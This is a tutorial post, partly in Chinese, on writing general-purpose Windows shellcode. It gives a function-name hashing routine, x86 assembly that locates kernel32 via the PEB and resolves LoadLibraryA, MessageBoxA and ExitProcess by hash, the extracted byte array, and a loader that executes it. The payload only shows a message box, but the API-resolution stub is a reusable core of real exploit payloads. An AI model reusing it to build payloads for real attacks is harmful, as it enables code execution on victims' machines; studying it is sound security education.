Calculate digest of function name for general shellcode

Author：wnagzihxain
Mail：tudouboom@163.com

```
#include <stdio.h>
#include <windows.h>

DWORD GetHash(char *fun_name)
{
    DWORD digest = 0;
    while(*fun_name)
    {
        digest = ((digest<<25) | (digest>>7));
        digest += *fun_name ;
        fun_name++;
    }
    return digest;
}

int main()
{
    DWORD hash;
    hash = GetHash("MessageBoxA");
    printf("result of hash is %.8x\n", hash);
    return 0;
}
```

这是用于hash函数名的代码

```
int main()
{
    _asm{
            nop
            nop
            nop
            nop
            nop
            CLD                     ; clear flag DF
            ;store hash
            push 0x1e380a6a        ;hash of MessageBoxA
            push 0x4fd18963        ;hash of ExitProcess
            push 0x0c917432        ;hash of LoadLibraryA
            mov esi,esp             ; esi = addr of first function hash
            lea edi,[esi-0xc]     ; edi = addr to start writing function

            ; make some stack space
            xor ebx,ebx
            mov bh, 0x04
            sub esp, ebx

            ; push a pointer to "user32" onto stack
            mov bx, 0x3233         ; rest of ebx is null
            push ebx
            push 0x72657375
            push esp
            xor edx,edx

        ; find base addr of kernel32.dll
            mov ebx, fs:[edx + 0x30]     ; ebx = address of PEB
            mov ecx, [ebx + 0x0c]         ; ecx = pointer to loader data
            mov ecx, [ecx + 0x1c]         ; ecx = first entry in initialisation order list
            mov ecx, [ecx]                 ; ecx = second entry in list (kernel32.dll)
            mov ebp, [ecx + 0x08]         ; ebp = base address of kernel32.dll

        find_lib_functions:
            lodsd                        ; load next hash into al and increment esi
            cmp eax, 0x1e380a6a        ; hash of MessageBoxA - trigger
                                       ; LoadLibrary("user32")
            jne find_functions
            xchg eax, ebp             ; save current hash
            call [edi - 0x8]         ; LoadLibraryA
            xchg eax, ebp             ; restore current hash, and update ebp
                                    ; with base address of user32.dll

        find_functions:
            pushad                          ; preserve registers
            mov eax, [ebp + 0x3c]        ; eax = start of PE header
            mov ecx, [ebp + eax + 0x78]    ; ecx = relative offset of export table
            add ecx, ebp                 ; ecx = absolute addr of export table
            mov ebx, [ecx + 0x20]         ; ebx = relative offset of names table
            add ebx, ebp                 ; ebx = absolute addr of names table
            xor edi, edi                 ; edi will count through the functions

        next_function_loop:
            inc edi                     ; increment function counter
            mov esi, [ebx + edi * 4]     ; esi = relative offset of current function name
            add esi, ebp                 ; esi = absolute addr of current function name
            cdq                         ; dl will hold hash (we know eax is small)

        hash_loop:
            movsx eax, byte ptr[esi]
            cmp al,ah
            jz compare_hash
            ror edx,7
            add edx,eax
            inc esi
            jmp hash_loop

        compare_hash:
            cmp edx, [esp + 0x1c]         ; compare to the requested hash (saved on stack from pushad)
            jnz next_function_loop
            mov ebx, [ecx + 0x24]         ; ebx = relative offset of ordinals table
            add ebx, ebp                 ; ebx = absolute addr of ordinals table
            mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function
            mov ebx, [ecx + 0x1c]         ; ebx = relative offset of address table
            add ebx, ebp                 ; ebx = absolute addr of address table
            add ebp, [ebx + 4 * edi]     ; add to ebp (base addr of module) the
                                        ; relative offset of matched function
            xchg eax, ebp                 ; move func addr into eax
            pop edi                     ; edi is last onto stack in pushad
            stosd                         ; write function addr to [edi] and increment edi
            push edi
            popad                      ; restore registers
                                       ; loop until we reach end of last hash
            cmp eax,0x1e380a6a
            jne find_lib_functions

        function_call:
            xor ebx,ebx
            push ebx            // cut string
            push 0x74736577
            push 0x6C696166        //push failwest
            mov eax,esp            //load address of failwest
            push ebx
            push eax
            push eax
            push ebx
            call [edi - 0x04] ; //call MessageboxA
            push ebx
            call [edi - 0x08] ; // call ExitProcess
            nop
            nop
            nop
            nop
    }
    return 0;
}
```

这是最终的代码，用于搜索API地址

我们生成exe，然后载入OD，提取出汇编

```
"\x90"//                        NOP
"\xFC"
"\x68\x6A\x0A\x38\x1E"//        PUSH 1E380A6A
"\x68\x63\x89\xD1\x4F"//        PUSH 4FD18963
"\x68\x32\x74\x91\x0C"//        PUSH 0C917432
"\x8B\xF4"//                    MOV ESI,ESP
"\x8D\x7E\xF4"//                LEA EDI,DWORD PTR DS:[ESI-C]
"\x33\xDB"//                    XOR EBX,EBX
"\xB7\x04"//                    MOV BH,4
"\x2B\xE3"//                    SUB ESP,EBX
"\x66\xBB\x33\x32"//            MOV BX,3233
"\x53"//                        PUSH EBX
"\x68\x75\x73\x65\x72"//        PUSH 72657375
"\x54"//                        PUSH ESP
"\x33\xD2"//                    XOR EDX,EDX
"\x64\x8B\x5A\x30"//            MOV EBX,DWORD PTR FS:[EDX+30]
"\x8B\x4B\x0C"//                MOV ECX,DWORD PTR DS:[EBX+C]
"\x8B\x49\x1C"//                MOV ECX,DWORD PTR DS:[ECX+1C]
"\x8B\x09"//                    MOV ECX,DWORD PTR DS:[ECX]
"\x8B\x69\x08"//                MOV EBP,DWORD PTR DS:[ECX+8]
"\xAD"//                        LODS DWORD PTR DS:[ESI]
"\x3D\x6A\x0A\x38\x1E"//        CMP EAX,1E380A6A
"\x75\x05"//                    JNZ SHORT popup_co.00401070
"\x95"//                        XCHG EAX,EBP
"\xFF\x57\xF8"//                CALL DWORD PTR DS:[EDI-8]
"\x95"//                        XCHG EAX,EBP
"\x60"//                        PUSHAD
"\x8B\x45\x3C"//                MOV EAX,DWORD PTR SS:[EBP+3C]
"\x8B\x4C\x05\x78"//            MOV ECX,DWORD PTR SS:[EBP+EAX+78]
"\x03\xCD"//                    ADD ECX,EBP
"\x8B\x59\x20"//                MOV EBX,DWORD PTR DS:[ECX+20]
"\x03\xDD"//                    ADD EBX,EBP
"\x33\xFF"//                    XOR EDI,EDI
"\x47"//                        INC EDI
"\x8B\x34\xBB"//                MOV ESI,DWORD PTR DS:[EBX+EDI*4]
"\x03\xF5"//                    ADD ESI,EBP
"\x99"//                        CDQ
"\x0F\xBE\x06"//                MOVSX EAX,BYTE PTR DS:[ESI]
"\x3A\xC4"//                    CMP AL,AH
"\x74\x08"//                    JE SHORT popup_co.00401097
"\xC1\xCA\x07"//                ROR EDX,7
"\x03\xD0"//                    ADD EDX,EAX
"\x46"//                        INC ESI
"\xEB\xF1"//                    JMP SHORT popup_co.00401088
"\x3B\x54\x24\x1C"//            CMP EDX,DWORD PTR SS:[ESP+1C]
"\x75\xE4"//                    JNZ SHORT popup_co.00401081
"\x8B\x59\x24"//                MOV EBX,DWORD PTR DS:[ECX+24]
"\x03\xDD"//                    ADD EBX,EBP
"\x66\x8B\x3C\x7B"//            MOV DI,WORD PTR DS:[EBX+EDI*2]
"\x8B\x59\x1C"//                MOV EBX,DWORD PTR DS:[ECX+1C]
"\x03\xDD"//                    ADD EBX,EBP
"\x03\x2C\xBB"//                ADD EBP,DWORD PTR DS:[EBX+EDI*4]
"\x95"//                        XCHG EAX,EBP
"\x5F"//                        POP EDI
"\xAB"//                        STOS DWORD PTR ES:[EDI]
"\x57"//                        PUSH EDI
"\x61"//                        POPAD
"\x3D\x6A\x0A\x38\x1E"//        CMP EAX,1E380A6A
"\x75\xA9"//                    JNZ SHORT popup_co.00401063
"\x33\xDB"//                    XOR EBX,EBX
"\x53"//                        PUSH EBX
"\x68\x77\x65\x73\x74"//        PUSH 74736577
"\x68\x66\x61\x69\x6C"//        PUSH 6C696166
"\x8B\xC4"//                    MOV EAX,ESP
"\x53"//                        PUSH EBX
"\x50"//                        PUSH EAX
"\x50"//                        PUSH EAX
"\x53"//                        PUSH EBX
```

```
"\xFF\x57\xFC"//                CALL DWORD PTR DS:[EDI-4]
"\x53"//                        PUSH EBX
"\xFF\x57\xF8";//                CALL DWORD PTR DS:[EDI-8]
```

整理一下

```
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

void main()
{
    __asm
    {
        lea eax,popup_general
        push eax
        ret
    }
}
```